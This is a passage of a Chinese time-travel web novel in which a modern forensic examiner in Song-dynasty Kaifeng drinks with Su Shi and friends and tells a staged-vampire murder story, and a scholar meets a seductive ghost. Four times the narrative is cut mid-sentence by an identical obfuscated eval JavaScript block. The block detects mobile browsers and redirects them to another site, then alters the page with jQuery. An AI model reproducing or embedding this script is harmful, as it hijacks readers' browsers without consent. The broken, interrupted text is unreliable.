说罢两人又捧腹哈哈哈哈哈哈哈哈哈到两眼泛泪花。
03
也不知宋连是喝断片了,还是被李士卿偷偷贴了小纸符,刚才还要“接着奏乐接着舞”,此刻已倒在桌边睡着了。
那个“喝酒不行”的书生倒是还醒着,给宋连盖了一条薄毯,对李士卿说:“这位宋检法当真奇怪!”
热闹的院子此刻安静了下来,听了几声蝉鸣之后,李士卿说:“我前几日为兄台卜了一卦,明年制科,二位将金榜题名。”
苏轼听闻大喜,在原地转了几圈,又问:“我兄弟二人,可是要大展拳脚了?”
李士卿负手而立,低声说:“实现抱负的道路有很多条,你有很多选择,不必执着这一条。”
苏轼听懂了,沉默良久。
李士卿又说:“仕途坎坷,恐还会搭上性命,又何必以身涉险呢?”
“那个宋检法,当初又是为何要做出那样的选择呢?”
李士卿一时无言以对:“我的确不懂。但万事万物皆有定数,一切努力都是徒劳,搭上性命更是不值。”
苏轼看向昏睡的宋连又拍了拍李士卿的肩膀,“你明知这是司天监那位设下的一局,却还是躬身入局了,有些事情正在发生变化,不是吗?”
04
宋连再次醒来时,苏轼苏辙两兄弟已经走了。
他脑子清明了许多,回忆起刚才种种举动,很想再穿越一次,回到几小时前给自己一个大-逼兜。
“醒神汤,喝了不难受。”李士卿将一碗汤水放在他面前。
宋连端起碗来,突然想到李士卿曾经给元英才喝的那些奇怪的汤药,犹豫着不敢下嘴。
“只是蜜水,没有符纸。”
这神棍到底什么时候能学会看破不戳破!
宋连拱拱拱几口喝完了一碗水,甜滋滋的,果然是蜂蜜水。
“那什么……后来我又说了什么胡话吗?”最重要的是说没说自己是穿越来的。
李士卿十分疑惑:“阁下今晚有说过人话吗?”
宋连尴尬摸了摸鼻尖:“我酒量不太行……一杯倒……只记得freestyle了……”
“那之后还唱了曲,”李士卿仔细回忆,挑出几句他尚能记得住的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886487|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
词:“古巴比伦王颁布了汉谟拉比宝典;曹操不啰嗦,一心要拿荆州;容我再等历史转身,千年后累世情深还有谁在等……”
宋连一口水呛在喉咙里,憋得眼泪都要流出来。
“都是我神志不清胡说八道,千万别当真!”曹操啰不啰嗦他不知道,但他今晚肯定是啰嗦过头了。
李士卿叹口气:“子瞻兄托我转告你,待他回去好好研究那个Ra破,下次见面还要与你福瑞思待。”
宋连苦笑,还是别了吧,熬夜背的梗如今全都用完了,没下次了。
05
今天过得还是太梦幻了,以至于宋连差点就要忘记眼前这两兄弟,将会在未来数十年中,于史书中留下浓墨重彩的一笔,被传颂千年。
“我刚才做了个梦,”宋连说,“梦到苏轼明年高中榜首,本该一路坦途,却因政见不同屡遭贬谪。倒是苏辙,为了捞哥哥一路做到了宰相。”
看到李士卿狐疑的目光,宋连赶紧强调:“这都是我做的梦,梦不能当真的。”但他又很认真的问:“你说……假如,我是说假如,我跟他俩说不要白费力气了,肯定考不上,或者到时候干脆给他俩敲晕了阻止他俩考试,能改变他俩的命运吗?”
李士卿笑起来:“宋检法不是一向不信鬼神不信命运,怎么问起这种逆天改命的问题了?”
“喝多了,闲聊。”
李士卿望了望天空中一轮圆月,轻轻转身往寝室方向走去。宋连觉得他这是拒绝回答的意思,或者说,他也无法回答。
二人沉默着走了百余步,李士卿突然开口了。
“五年前我与他们相识时便说了,他此生仕途多跌宕。可你也看见了,五年之后他依旧重回汴京。他命由他,则要为官;由天,也要为官。不但是他,世间凡夫皆如此,看似有很多选择,实则命数早已定下,说与不说,做与不做,结果都是一样的。”
“可我觉得,总有一些事情,是可以改变的。”
李士卿怀疑刚才宋连可能根本没睡着,他偷偷看了眼宋连的神情,又觉得一切如常。“你现下有哪里不舒服吗?”
宋连疑惑:“没有啊。”
李士卿:“虚寒?盗汗?头晕?心悸?”
宋连眯眼:“你在内涵我肾虚吗!”
李士卿哈哈哈哈哈哈之后,呢喃了一句“怎么会呢。”他摆摆手:“看你醉的不轻,关心一下罢了。”
无事献殷勤,非奸即盗。宋连仔细回忆了一下,恍然大悟,十分笃定:“你果然在那个蜂蜜水里放了什么封建糟粕对不对!放了什么?!快说!不说不许睡觉!”
秋风阵阵,轻扫过树枝荡漾,李士卿快步向前走去,将宋连略微聒噪的抗议抛在身后。
蝉鸣声声,似是明知大限将至更要奋力振翅。
李士卿回想起苏轼说的那句话。
他明知前方深不可测却还是选择躬身入局。
或许,命运的齿轮在极细微之处正在悄然转动,朝着另一种可能。
35.09 乾坤未定,你我皆是牛马
01
接下来两天,宋连依旧按时按点上下班。
百花楼一案的人牙子凶手还逍遥法外,案件陷入僵局没有进展。这种情况宋连也不是第一次遇见,那陈莲儿不也还逍遥法外吗。
种种这些,让宋连陷入一种无力的死局。
他当初学法医进入公安队伍,就是为了打击犯罪伸张正义。但渐渐地他发现,犯罪是打击不完的。
法医大部分时候只会出现在犯罪行为发生之后,他无法阻止犯罪,更不能消灭犯罪。
不止法医。他曾经看过一部科幻电影,里面有一个非常厉害的设定:科技发展已经可以提前预知犯罪,在犯罪事实发生之前就及时阻止。
但即便如此,主角还是陷入了一场事先预谋的、没有被预测到的犯罪当中。
那时候宋连就明白了一个道理,人类生生不息,犯罪永无止尽。
他侦破越多的案子,就代表更多犯罪行为已经实施。前方是漫无尽头的黑夜,他能做的就是写好一封辞职信,找到合适的机会发送出去。
可惜他还没等到那个合适的机会就被穿越到了这里。现在,他持续解剖了一具又一具尸体,一个又一个案件的凶手因为侦查技术的落后而逍遥法外,他对自己所从事的职业又生出了更多的厌恶。
02
某个工作日结束,浑浑噩噩的宋连拖着疲惫的身躯踏进他室友的豪宅,发现这位用纸张换纸币的神棍正杵在门前。
昏暗的夜,白色的影,鬼里鬼气。
未等宋连开口吐槽,李士卿递给他一张邀请帖:
「欲二十日戊時下土橋瑤光舫小聚,款契阔,敢幸不外,他迟面尽。右谨具呈。苏轼苏辙扎子。 」
汴河是汴京最重要的水路,担负着东南粮食漕运的交通重任。在汴京,上至皇帝宰相,下至平民百姓,一切生活所需都倚仗汴河漕运的供给。
这条河流在城中的河段上共有十四座桥,其中相国寺桥就在李士卿宅前。由此往东顺河而下,经过上土桥,再往东一座就是下土桥。
别看“下土桥”名字听起来土土的,但这河段地理位置十分微妙。它西边的相国寺桥和州桥,是整个汴京城的核心CBD商圈。因为这两桥正对着大内御街,因此桥身修的都低矮,大一点的船都不能通行。
而下土桥则是距离核心CBD最近的、能够行驶豪华巨轮的地方。住在城中的纨绔官僚非常方便就能抵达。
这艘“瑶光舫”则是下土桥段最豪华的画舫。
它的船头甲板装修成了露台,游人可站立于此欣赏汴河夜景。露台四周用雕花围栏遮挡防止客人不慎坠水;
中间则是主楼,上下两层。
二楼重檐歇山顶,格眼窗紧闭,应该是VIP包间。
下层则是单檐歇山顶,只有立柱没有门窗,立柱之间以朦胧纱帘垂挂遮挡,若将纱帘拉起,则凭栏纵目,览千里江天,若将纱帘垂坠下来,岸上的人则能透过薄薄的纱帘欣赏到画舫上舞姬们窈窕灵动的影子。
朦朦胧胧,浮想联翩。
船尾则修成了长长的廊屋,若是不欲加入主楼热闹非凡的宴席,则可在廊屋获得片刻安静,迎着微微江风,与好友对酌两三杯。
整个画舫面积大约上千平米,体型超凡,是灯火阑珊、水雾朦胧的汴河中一只庞然大物。
宋连站在岸边,仰望这只顶级奢豪的画舫,禁不住感叹:海天盛宴啊……
03
二人登上画舫进入主楼,一层人声鼎沸,觥筹交错,红男绿女看得宋连头晕目眩。
李士卿并未停留,径直登上台阶,上到了二层包厢。
还未进门,就听到熟悉的吟诗对赋。李士卿轻咳一声,宋连摸了摸鼻尖,说:“我这次肯定不喝!”
包厢内已经坐了4位,除了苏轼苏辙两兄弟,还有一个学生模样的年轻人,和一个穿着华丽的中年男子。
苏轼看见宋连比看见李士卿还开心,忙起身让座:“宋检法,快来快来!我们刚提到你!”
他将宋连让到主座,宋连忙推让,最终给自己争取到了一个偏位才放心坐下。
苏轼也没再纠结座位的事,转头向两位新朋友介绍:“这位就是大名鼎鼎宋检法,神探也!还会说ra破!福瑞思待,十分有趣!”
宋连也拿不准这个“十分有趣”到底属于什么语气助词,只是又坚定了今日绝不能多饮酒的决心。
两位新朋友显然已经被苏轼热情安利过一番,见到宋连本尊的时候眼睛里带着敬畏。敬他断案奇才,畏他不人不鬼……
苏轼:“这位李郎君是我多年至交,驱魔除祟,看照风水,卜算卦象,十分厉害!”
有驱魔人坐镇,新朋友们肉眼可见松了口气,但很快又觉得哪里不对……
一个被鬼夺舍的,一个专业除鬼的,这俩人是如何友善相处和谐共存的?!
04
“在下方桂儒,赴京参加制科考试,途中偶遇苏家兄弟……”这方桂儒看着文文弱弱,说着说着声音都抖了起来,“荣幸之至,荣幸之至!”
原来是苏轼小迷弟。
宋连拍了拍方桂儒激动到发抖的肩膀,安慰他:“理解理解,粉丝偶遇爱豆,还挨一起坐,换谁都激动!”
此话一出,几人又沉默了。
果然是不说人话!
那胖胖的中年男子没有主动自我介绍。看他自然而然坐在了主位上,宋连便知道了他在这场饭局中的地位。
“这位是画舫老板,张家二哥,大家都叫他二哥。”
张二哥家底殷实,善于经营,又好附庸风雅,于是买了几艘画舫,在汴河两头宽阔的河道里开起了高端会所,专门接待京城里有头有脸的达官贵人。
瑶光舫的低消不菲,苏轼兄弟是没有财力担负这么豪气的饭局。
但可以用to签换!
张二哥托了不知几层关系,递了不知几次名帖,才邀约到苏家兄弟来画舫一坐。坐不是目的,得留下点什么,好证明这画舫接待过大宋名士。
张二哥已经收集了诸多名士手笔,就等苏轼苏辙的墨宝。
区区一顿饭才几个钱,这二人的墨宝能让他吹一辈子!
05
文人相聚,几杯下肚就要开始吟诗作赋。有了上次惨痛的教训,宋连这次学会了谨言慎行,滴酒不沾,一个字不说,安静如鹌鹑。
e人苏轼想起上回的古巴比伦楔形字和曹操,夜色正好,最适合鬼话登场。今夜就是宋检法的专场!
“上回宋检法讲了许多趣闻,我们也听得不得甚解,还请宋检法详细说说,这古巴比伦是个怎样的国家,楔形文字又是什么文字,曹操……”
“曹操不啰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890657|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗦!是我啰嗦了……”宋连试图挣扎,但这么多双殷切期待的目光,这么多颗八卦之心嗷嗷待哺。
他在经手过以及阅读过的案件中谨慎的甄别哪些适合在这个时代讲述,终于在众人翘首期盼中开口道:“那我就说一个吸血鬼杀人事件吧!”
06
在一个叫威廉村的地方发生了一起命案,死者被发现的时候浑身血液全被吸干,尸体因为失血变得苍白干瘪。她的颈动脉处有两个圆形小洞,初步判断血液就是从这两个小洞中流干的。
当地流传着一种非常著名的厉鬼,名唤“吸血鬼”。白面獠牙,指甲尖利,靠吸食少男少女的血液长生不死。
吸血鬼走的是一种“鬼传鬼”的形式:人在濒死的时候先被一个吸血鬼咬一口,吸走大部分血液,再将自己的鬼血喂给这个濒死者吸一口,这个传承就算完成了,此时就会得到两只吸血鬼。
被发现的死者是一位妙龄少女,死亡特征完全符合传说中吸血鬼杀人的情形。
于是村长请来了驱魔师,想要驱除邪祟。
据说吸血鬼惧怕太阳,只能昼伏夜出。白天睡在自己的棺材里装死,晚上出来劫色吃人;于是家家户户昼夜不熄灯火,让夜晚也亮如白昼。
又传说他们还很讨厌大蒜和横竖交错捆绑的棍子;于是各家各户的门口窗户挂满了成鞭的大蒜,到处都扎着交叉捆绑的木棍。
可驱魔师作法一天一夜,连鬼影子都没有见到。恐怖气氛不断蔓延,威廉村里人心惶惶,终于有村民忍受不了,报了J……报了官。
宋连讲到这里,略停顿一下。
众人正听得入迷,焦急催更:“断案的可是宋检法?”
宋连没回答,只说:“破案的关键就在于那两处圆孔牙印。”
他当时采用的就是“灌模法”,用类似石膏但性能更稳定的黏合剂灌入齿孔,等待凝固之后取出。
是两颗狗牙。
村里养狗的人不少,但恰好最近掉了两颗牙的狗可不多。目标很快就锁定在死者隔壁的村医身上。
经过调查走访,发现村医早就对少女图谋不轨,有几个村民曾在半夜看到村医蹲在少女房间的窗前偷窥。
村医一开始拒不承认,直到在他家搜出了大号注射针管和防腐剂。
“注射针管和防腐剂……是何物啊?”方桂儒打断提问。
又到了宋连科普小课堂,他喝了口茶,他示意方桂儒先别着急,听他细细说来:“村医有些医学知识,家里还有很多医学和法医相关的书籍。他知道颈动脉,就是脖子这个位置,破裂之后血液会大量喷溅,也知道当人体内血液流失过半后心脏就停止搏动,失去血压的情况下血液就不会再流失。所以他准备了防腐的药剂让血液不凝固,再用一种可以打入或抽出液体的管子,将剩余血液全部吸出来。为了嫁祸给传说中的吸血鬼,他敲下两颗狗牙扎进颈动脉,伪装成吸血鬼的咬痕。”
“村医甚是胆大,竟然敢嫁祸给鬼,他就不怕半夜鬼敲门吗?”胖老板惊叹。
“不怕,因为他比鬼更可怕。要知道这番操作是需要在被害人还有生命体征的情况下实施。也就是说,做这一切的时候,那姑娘还是活着的。”
众人倒吸一口气,果真残忍至极!
“但他设计的方式太复杂了,越复杂的现场,就会留下越多破绽和线索。”
36.10 别和陌生人说话也别在午夜问路
01
宋连的猎奇命案小故事讲完了,饭桌上的美味佳肴也都放凉了。
一众人沉默不语,不知现在应该先吐还是先吃饱了再吐。
失策了,不该在吃饭的时候讲这么下饭的故事。宋连有些懊悔,他是真的没意识到,讲到高潮的时候甚至还咽了好几次口水。
“我有一问”,那个叫方桂儒的书生举手发问,“既然现场已经完全符合吸血鬼作案的特征,宋检法又是如何怀疑姑娘死于人为?”
“因为世上根本就没有鬼啊!”宋连脱口而出,然后立刻意识到自己又说错话了。
但是已经晚了,四个人八双眼睛正齐刷刷盯着他。
连张二哥都看不下去了,拍了拍自己圆鼓鼓的肚子,又拍了拍宋连的肩膀:“宋检法的事情我也听到一二,诶!想必现在征用这副身躯的鬼友也是不得已而为之吧!我们都很理解你,不必因为自己是鬼而自惭形秽!你虽为鬼魅,但本领大,何必自暴自弃,妄自菲薄!”
苏轼也说:“宋检法断案手法的确让人耳目一新,但你如此笃定世间无鬼,恐怕有失偏颇,你虽不曾见鬼,但也无法证明世上没有鬼。若世上果真无鬼,那李郎君又因何而在呢?”
好一个最强人择理论ProMaxPlus版!
唯物战士宋连再次哑口无言。他现在相信,李士卿当初让他默认自己被夺舍这种说法,就是处于一个神棍骗子的职业本能而设下的陷阱。
他就是故意的!
而这个骗子此时还得意的看着自己发笑!
宋连深深叹口气,认命地说:“搞错了,我重新说。我是如何怀疑这不是吸血鬼所为的呢?因为……吸血鬼这个鬼种都是贵族出身,连管家都是会说法语举止优雅的猪,吸血前还得念段咒语作为弥补。这么体面的吸血鬼会咬颈静脉而不是动脉。因为动脉血液喷溅会搞得到处都是,非常不得体……”
“原来如此!今日真是受教了!”方桂儒作揖,紧接着又问:“法语是什么语言?这是宋检法什么时候断的案子?这么精彩的案子为何我在茶馆从未听过此案话本?还是说……这是宋检法被夺舍之前断的案子?”书生眼睛突然一亮:“哦!我明白了!这是这位鬼先生身前遇过的案子吧!失敬,失敬!”
都什么乱八七糟!宋连已经编不下去了,只好端起一杯酒:“别让这些杀人放火的案子扫了大家的兴!来,喝酒喝酒,吃菜吃菜!”
02
扬言滴酒不沾的宋连,再次败给了古法杂酿。
和苏轼开启了单押双押三押思待。
张二哥得到苏轼墨宝之后就火速离场了,毕竟别的包厢里还有各式金主等着他服务。如此逃过了不忍直视的混乱现场。
苏辙和李士卿在一旁沉默不语,在心里敲碎了八百个木鱼。
而那位文文弱弱的书生方桂儒,两杯下肚之后完全换了个人,跟着宋连又唱又跳,先是抑制不住的大笑,继而一屁股坐下陷入了沉默,最后嚎啕大哭。
宋连一边打着酒咯一边拍方桂儒的肩膀安慰他:“他们说喝多了总想哭,总想去付出;可你喝多了总想笑,总想去尿尿。”
“好!这句好!”
方桂儒被短暂的逗笑一声,又陷入了悲伤。
他看似是个年轻书生,实则已经28岁了。这个年纪在那个时代,孩子都该打酱油了,可他还是单身穷书生一个。
方桂儒家境贫寒,但父母将全部家当都押在他身上,指望他能考取功名光耀门楣。
方桂儒背负着全村的希望,第一次就止步于解试,只得了个秀才。三年之后,他再次赴考,通过了解试,得了举人,却在省试中落败。
如此又过了三年,方桂儒再战科考,又止步在省试。
照理说,以方桂儒的家庭条件,是绝不可能支持他七年赶考,好在同乡有个土财主,一眼看中方桂儒,押宝他未来仕途无量,愿意资助他读书考试。但这个资助是有条件的:如果考中进士,就要迎娶他的女儿为妻。
财主的女儿绝非国色天香,甚至算不上好看,但对方桂儒而言,能管吃管住还管结婚生育,这已经是天赐大礼,跪谢都来不及。
随着方桂儒一次次落榜,他也从十几岁的意气少年变成了25岁的婚龄男人。
可土财主却反悔了。不但不再资助方桂儒考试,这门姻亲也单方面毁约了。“我没让你把这些年资助你的钱全赔给我,已经是留了情面了!”土财主这样要挟他。
后来他才知道,土财主早就相中了另一个年轻学生,那年轻学生已经考过了省试,就等着殿试拿进士资格了。
财主也学会了“不把鸡蛋都装进一个篮子里”的道理,准备到时候亲赴京城,“榜下捉婿”——放榜当日就在现场蹲守,看谁得了三甲就用钞能力强行纳婿!
03
“呵!眼界狭窄如斯,怎知他那点钱财,在汴京城如同九牛一毛!”方桂儒恨得鼻涕一把眼泪一把,“没了资助,家中再也无力承担我考试费用。我便一边复习,一边替人做些文书活计谋生。”
皇天不负有心人,这次他赶上了赵祯赦令的制科考试。
“制科”是由皇帝亲自下诏设立的一种特殊科目考试,目的是在科举之外,针对专业需求而设置,选拔特别优秀的专科人才。
制科考试没有固定周期,什么时候开设完全由皇帝决定,有时几年一次,有时十几年才开一次。
方桂儒从未想过,自己有生之年还能赶上制科考试,更没想到的是,这个主要靠举荐考试,还真有人推荐了他——他曾受雇为一位官员写过文书,这位官员欣赏他的文采,便向上推荐试试,没想到这样一层层举荐,还真给他推荐到了一个考试资格!
这是方桂儒的背水一战,是他的孤注一掷。
家里典当了所有能典当的物什,真正的“砸锅卖铁”凑了一点盘缠。他这一路一边务工一边乞讨,直到遇见苏轼兄弟,才在二位贵人的帮助下结束了流浪式赶考。
“家中已是空无一物,唯有这件宝贝,父母不舍得典当,交予我,若是真到了要饿死的地步,能当了保命。”
方桂儒拿出一只圆润的碧玉,没有任何雕琢,只有天然的碧绿仿佛液体在其中流动。
一只价值上乘的翡翠!
04
方桂儒虽然贫穷,但懂得感恩。
这一路得到苏家兄弟照顾,到了京城之后的住店也是苏轼掏的钱。方桂儒便要将这传家宝赠予恩人。
苏家两兄弟一眼便看出这翡翠料子上乘,劝他收好这宝贝,千万不要再拿给别人看,避免招致祸端。
方桂儒自然是听话的,甚至不敢在张二哥面前“炫富”,待人走了,桌面上只剩“自己人”,且已经喝得五迷三道时,才又拿出这枚翡翠璧,再次诚恳地赠给苏轼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906133|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又再次被谢绝。
“即是你传家之宝,就好好收着。方郎勤于学、善于思、敏于行,定能获得官家欣赏,谋取个好功名,造福百姓!我们有缘相识,日后免不了相互扶持,情谊比这翡翠更要坚固。”
“好!”方桂儒已是泪流满面,“若我方桂儒日后登科,必为苏先生朝中之友,手中之剑!”
05
直到夜色浓郁,豪华的瑶光舫沿汴河向东缓慢行驶一圈回到下土桥,这场游轮盛宴才结束。
苏辙怀中抱紧酒壶酒杯,防止哥哥趁其不备抢夺过去再来一杯;李士卿困住宋连双手,防止他“接着奏乐接着舞”。
倒是方桂儒,尽管席间大哭大笑看起来醉的最厉害,但行动却十分正常。头不晕脚不软,路线走得笔直,仿佛豪饮三坛的另有其人。
醉鬼难缠,苏辙拉着他的好大哥,李士卿绑着他的鬼室友,只顾得上匆匆道别,便连拖带拽各自回家。
有些人就是有这种特殊体质,喝酒不上脸,看起来越喝越精神,聊起来也有来有往,和正常人没有两样,但实际上早就醉得彻底。
方桂儒就是这样的人,他只是看上去人间清醒,游刃有余,实际上脑子已经断片,早就醉得找不到北。
于是他吹着河风,闲庭信步,走着走着就走到了百花深处。
百花深处没有面容安详、缝着绣花鞋的老情人,却有一位粉黛佳人,头盖红纱巾,穿着红艳薄纱褙子,露出缎面镶边肚兜,酥-胸半露坐在地上,一手搭在脚踝处“诶哟诶哟”的哼吟。
看到有人走来,那美艳女子抬手略过额头,小指勾住头盖一角,却没有掀开,柔声细语说:“这位俊俏公子,可否帮帮小女子?”
06
方桂儒没见过鬼总听过鬼故事,夜半三更、百花深巷、红衣女子,这么传统的鬼故事桥段他不可能意识不到。
但酒醉壮人胆,他正头脑发热,别说区区女鬼,就是阎王老子来了他也能按住喝上三杯。
那姑娘坐在地上哎呦哎呦轻吟个不停,方桂儒甩了甩脑袋就冲了上去,一把抓住姑娘的手腕。
“冰凉!”这是方桂儒的第一印象。
再仔细看那姑娘头盖下露出的一点肌肤,脸色煞白,嘴唇血红,不同寻常活人。
方桂儒心里“咯噔”了一下,正要松手逃脱,却被女鬼反一把抓住。
“多谢郎君,小女子家就在旁边,不知郎君可否好人做到底,送我回家?”
那姑娘抬手缓缓掀起头盖,并没有预想中的红眼血泪血口獠牙。虽然肤色苍白红唇烈焰,却有一种艳丽浓郁的美感。
方桂儒自觉心跳停顿了片刻,鬼使神差点点头:“好的,好的。”
那姑娘搭着方桂儒却仿佛没有重量,哪里看得出崴了脚,一路轻飘飘移动着到了一处别院门口。
“郎君若不嫌弃,再送我一段。”说完她就默认方桂儒同意了,拉着他从一处偏门进入,来到一间屋子门口。
“郎君,帮我开门。”
方桂儒稍稍用力,屋门被推开,迎面就是一排灵位。
“吱嘎——”身后的门被关上,方桂儒一下子清醒了许多,猛然回头。
昏暗的烛光忽明忽暗,香火烟雾缭绕。那女鬼已完全祛了头盖,也脱了身上那层薄纱褙子。
只穿着肚兜和半透明的亵裤,一步步走向方桂儒……
37.11 重力在八字相合之力面前不值一提
01
接下来一段时间宋连又忙于牛马的生活。
他的本职工作是检法官,是“检验”和“法令”的结合,负责现场的勘察、证据的审查和法律条文的核对。
从技术层面来说,和他在刑侦支队做法医的职责大致相仿,但又有一些区别——检法官多了很多法条相关的文书工作——宋连不得不额外花大量的时间了解《宋刑统》。
谁能想到呢,穿越之后不但没有摆脱社畜的命运,还叠加了法考buff。
最令人绝望的是,这么重要的岗位,品级却低得可怜。推官在很多地方甚至没有编制!宋连还算“幸运”,穿到了开封府,首都公安厅,这里的推官是有编制的,前身那个真·宋检法好歹是个九品芝麻官。
检法官这种小吏其实是很难有上升空间了,想跨越阶层从九品爬到相位是不可能的。
宋连并不是一个对官位有野心的人,职级并不是他绝望的核心要素。
穷困才是。
九品官员的俸禄说出来真是少得可怜,幸亏他孑然一身又寄宿在别人家中,省去了一大块开□□些动不动家里十几口的同事们简直是一人吃饱全家挨饿。
穷也就算了,工作还很没有成就感。
过了这么些日子,那陈莲儿仍然杳无音讯;被活活打死在路边的百花楼姐儿兰香,人早就被草草埋了,人牙子嫌疑人还逍遥法外;还有最近协查的几件案子,有些也就那么不了了之了……
这破班上得是一天比一天绝望。
好不容易拖着疲惫的身躯带着一身味儿下班,穿过州桥夜市的时候还要被一路的美食暴击,馋的不行忍不住想来一口的时候想起裤兜比脸还干净……
回到千亩豪宅,作息极为规律的房东早已入睡(也可能是入定了),偌大的庭院只有自己孑然一身,想唠嗑,想吐槽。
恨自己没有沟通阴阳之术,这个点没什么活人听众,总有几个孤魂野鬼吧!
这么想着,宋连一转身,就看到一个煞白的影子飘在空中。
“半夜三更跑出来装王祖贤吓人啊?!”宋连打了个趔趄。
李士卿好整以暇比宋连更像是夜不归宿的样子。他一个字没说,又掏出一张字条递给宋连。
宋连:“你是不是小时候没上过学,是不是没有在课堂上递过小纸条,是不是跟我这过小纸条的瘾呢?鼻子下面就是嘴,用说的不好吗?”
李士卿动了动嘴皮,转身走了。
宋连觉得这厮恐怕是在梦游,决定原谅他三分钟。
他打开字条,原来又是一封邀请,地点还在瑶光舫,只是邀请人变成了方桂儒。
纸上工整秀气的小楷写着:八月二十,子时,瑶光舫小聚。鬼事杂谈。
宋连觉得自己应该挂个牌:鬼聊预约,5元/分钟。
02
宋连今日按时下班,回大宅子里沐浴更衣,和李士卿早早便到了瑶光舫。一进包厢,发现满桌珍馐佳肴还未动过,但酒气已经飘满了整个房间。
苏家两兄弟已经和方桂儒聊得正兴。
所以说,鬼的魅力永远大过人,一说鬼话一个比一个来得早!
见宋连和李士卿到场,苏轼赶紧招呼大家坐下:人齐了,开始吧!
众人表面严阵以待,眼神里却都透着对八卦的渴望。方桂儒端正了身体,有些不好意思,将开口不开口的,搞得大家的呼吸都要不通畅了。
“其实……鄙人这次是想与大家说一说我……我……”腼腆的书生竟然红着脸噗嗤一声笑出了声!
“哎呀方兄!你就不要卖关子了,究竟什么好事,快与我们说说!”苏老师站起来转了两圈又坐下,“莫不是真要等到午夜再说?”
方桂儒清了清嗓子,又腼腆地点了点头:“诸位莫要认为我空口白话,今日邀大家相聚,是想与诸位说件诡事。此事正发生在那日我们在此分别之后,我酒劲上头迷了路,误入了一处深巷,遇见了一美艳女鬼……”
方桂儒把当日遇见女鬼又与之发生关系的过程和盘托出,虽然他羞得脸色想要滴血,但上扬的嘴角始终也没放下来过。
“宋检法,”方桂儒红着脸叫宋连,“您每天都能体会到那种冰凉嫩滑的感觉吗?”
宋连:“???”
别太离谱,我只是被夺舍了又不是被鬼给那个了,等一下!我也不是被夺舍了,我是科学穿越了!
宋连一阵凌乱,阿巴阿巴一个字都说不出来。方桂儒却认为宋检法这是默认了,露出无比艳羡的目光。
“这女鬼,从何而来,为何没有轮回转世?”在场唯一的阴间专家李士卿终于开口了。
“她名作‘柳含烟’,原是那处宅院中的大小姐。原本得有良配,却在出嫁当日遭遇横祸,被强盗掳走。柳小姐性格刚烈,宁死不从,枉死在荒林当中。但她家人不舍她离去,日夜供奉灵位,她才得以魂魄不散,游荡于家宅四周。经年累月,香火不断,含烟吸食香火之力,逐渐化形。”
方桂儒讲述着女鬼身世时,李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919720|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
士卿一手掐捏念算,另一手修长的手指轻叩桌面。听到方桂儒讲到“供奉灵位”、“魂魄不散”时,他的手指停顿在半空。
方桂儒讲完,众人沉默,都在等李士卿发表感想。
“那她又是为何要找上你呢?”李士卿问。
众人目光又转向方桂儒。
“八字相合。”
伪科学逻辑闭环了!宋连在心里拍手叫绝。高明的骗子往往会用各种学科武装自己。逻辑学心理学都是入门必备,考古、历史、星座卦象那是锦上添花。
你看看,科普之路还是任重道远啊!
03
别看在座的各位都是读书人,听了这不靠谱鬼故事之后第一反应都是出奇的一致:人鬼殊途,行了男女之事,会不会有损阳气精元?
在宋连翻上天的白眼中,李士卿淡定自若地为方桂儒号了号脉,又扒开他的下眼睑看了看,最终叹口气:“自古艳鬼爱书生,传说话本中,赶考书生遇到艳鬼,往往有佳缘一段,即便人鬼殊途,书生总也能入榜登科。”
“李兄意思是,方兄此次制考能中?”
“子瞻兄,你何时也开始迷信这些妄言妄语了!”
一旁的宋连又想翻白眼。拜托,你才是迷信头子好吗!
李士卿号完了脉,打开桌上的蒸屉盒子,取出一条热毛巾一根根擦手指,翻来覆去擦了好几遍。
方桂儒:“……”
我只是和鬼春宵一夜,也不至于变成了脏东西吧!
待李士卿擦完之后,将毛巾折叠整齐放在一边,又叹口气:“方郎脉象虚浮,面色泛青,印堂发黑,双眼有精血渗出,阳气已是有损。”
“这、这可如何是好!”方桂儒被吓坏了,眼睛更红了。
